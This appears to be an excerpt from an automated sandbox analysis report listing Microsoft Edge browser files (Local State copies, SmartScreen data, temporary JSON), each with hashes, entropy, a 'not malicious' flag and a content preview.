Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF43842.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786690680574
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/6kzItSmd6qE7lFoC
MD5:	D1E1C41B7D9940DE80A1488F94D59A49
SHA1:	92C77323B9853CED073362EE93D216428C190090
SHA-256:	F4AED276965A49068BF56FC5A9290221577EF71C2E99BBD2EE5B31A5C9C14BE4
SHA-512:	A3E98ABA58FB5BFE7FB00F752510081CD40C0B23E683DC16C00604A8399AF9D22301C69924677B22B4212B43804ACEDFED29A0BE2BA60E83C5AA1B58E083BA34
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF43e6d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786690680574
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/6kzItSmd6qE7lFoC
MD5:	D1E1C41B7D9940DE80A1488F94D59A49
SHA1:	92C77323B9853CED073362EE93D216428C190090
SHA-256:	F4AED276965A49068BF56FC5A9290221577EF71C2E99BBD2EE5B31A5C9C14BE4
SHA-512:	A3E98ABA58FB5BFE7FB00F752510081CD40C0B23E683DC16C00604A8399AF9D22301C69924677B22B4212B43804ACEDFED29A0BE2BA60E83C5AA1B58E083BA34
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4652e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786690680574
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/6kzItSmd6qE7lFoC
MD5:	D1E1C41B7D9940DE80A1488F94D59A49
SHA1:	92C77323B9853CED073362EE93D216428C190090
SHA-256:	F4AED276965A49068BF56FC5A9290221577EF71C2E99BBD2EE5B31A5C9C14BE4
SHA-512:	A3E98ABA58FB5BFE7FB00F752510081CD40C0B23E683DC16C00604A8399AF9D22301C69924677B22B4212B43804ACEDFED29A0BE2BA60E83C5AA1B58E083BA34
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b69a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786690680574
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/6kzItSmd6qE7lFoC
MD5:	D1E1C41B7D9940DE80A1488F94D59A49
SHA1:	92C77323B9853CED073362EE93D216428C190090
SHA-256:	F4AED276965A49068BF56FC5A9290221577EF71C2E99BBD2EE5B31A5C9C14BE4
SHA-512:	A3E98ABA58FB5BFE7FB00F752510081CD40C0B23E683DC16C00604A8399AF9D22301C69924677B22B4212B43804ACEDFED29A0BE2BA60E83C5AA1B58E083BA34
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4f921.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786690680574
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/6kzItSmd6qE7lFoC
MD5:	D1E1C41B7D9940DE80A1488F94D59A49
SHA1:	92C77323B9853CED073362EE93D216428C190090
SHA-256:	F4AED276965A49068BF56FC5A9290221577EF71C2E99BBD2EE5B31A5C9C14BE4
SHA-512:	A3E98ABA58FB5BFE7FB00F752510081CD40C0B23E683DC16C00604A8399AF9D22301C69924677B22B4212B43804ACEDFED29A0BE2BA60E83C5AA1B58E083BA34
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF54f21.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786690680574
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/6kzItSmd6qE7lFoC
MD5:	D1E1C41B7D9940DE80A1488F94D59A49
SHA1:	92C77323B9853CED073362EE93D216428C190090
SHA-256:	F4AED276965A49068BF56FC5A9290221577EF71C2E99BBD2EE5B31A5C9C14BE4
SHA-512:	A3E98ABA58FB5BFE7FB00F752510081CD40C0B23E683DC16C00604A8399AF9D22301C69924677B22B4212B43804ACEDFED29A0BE2BA60E83C5AA1B58E083BA34
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF58091.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786690680574
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/6kzItSmd6qE7lFoC
MD5:	D1E1C41B7D9940DE80A1488F94D59A49
SHA1:	92C77323B9853CED073362EE93D216428C190090
SHA-256:	F4AED276965A49068BF56FC5A9290221577EF71C2E99BBD2EE5B31A5C9C14BE4
SHA-512:	A3E98ABA58FB5BFE7FB00F752510081CD40C0B23E683DC16C00604A8399AF9D22301C69924677B22B4212B43804ACEDFED29A0BE2BA60E83C5AA1B58E083BA34
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e22fe7c4-949c-4ad6-8f09-2b88e0f10d12.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44882
Entropy (8bit):	6.095258197493491
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWQgi1zNtobNzDyutgDMKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynE7KtSmd6qE7lFoC
MD5:	9F1F9DA55C51B9BA3821361BD0A59970
SHA1:	CA99527FCDB73B179E5B51AA22F0FFF8AFBBFBDA
SHA-256:	502600B8BB0D7E45D3FFCB9B485A74B36E1EC3B61B8EECEAD0419B392966CDF2
SHA-512:	CDCC7D49756241D9F696C7EE057B2F77B8ED796C4292CFAA21A0C64EC27438DB1979837DA503F6A32D76496281B472CD65DD0BA50BD72A00D2D652EFA96F72D4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f2f61230-301c-42d3-af08-12b3ade9af92.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47876
Entropy (8bit):	6.088643022878772
Encrypted:	false
SSDEEP:	768:ZM7X2zt1jOXtXi3zahcKQGXbi1zNtob9ODDk9DP2F7Bl9/aGXkP5ACioBJDSgzMZ:ZMSzMtXija+K3Il9/aCkiFoBtSmd6qEf
MD5:	80B7E94D01821AB93A7768F15D52116B
SHA1:	A7E94AFA0D52D772ECC922603A8E64BAB272350A
SHA-256:	5C5DD3485FDC308338AC35C6879297B56C16FFE9963EECA1EAFF4B1A4555B44C
SHA-512:	E2AD33B35B02F457B25E05F80C36941758ACE65A5349BBBF008FFE5D5FC752E9058A7E9B83C7096FC76F84942C9D0051A86EBEF9AB5DD23FF210EBF8DE4DEC83
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366468151646417","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1721994555"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLb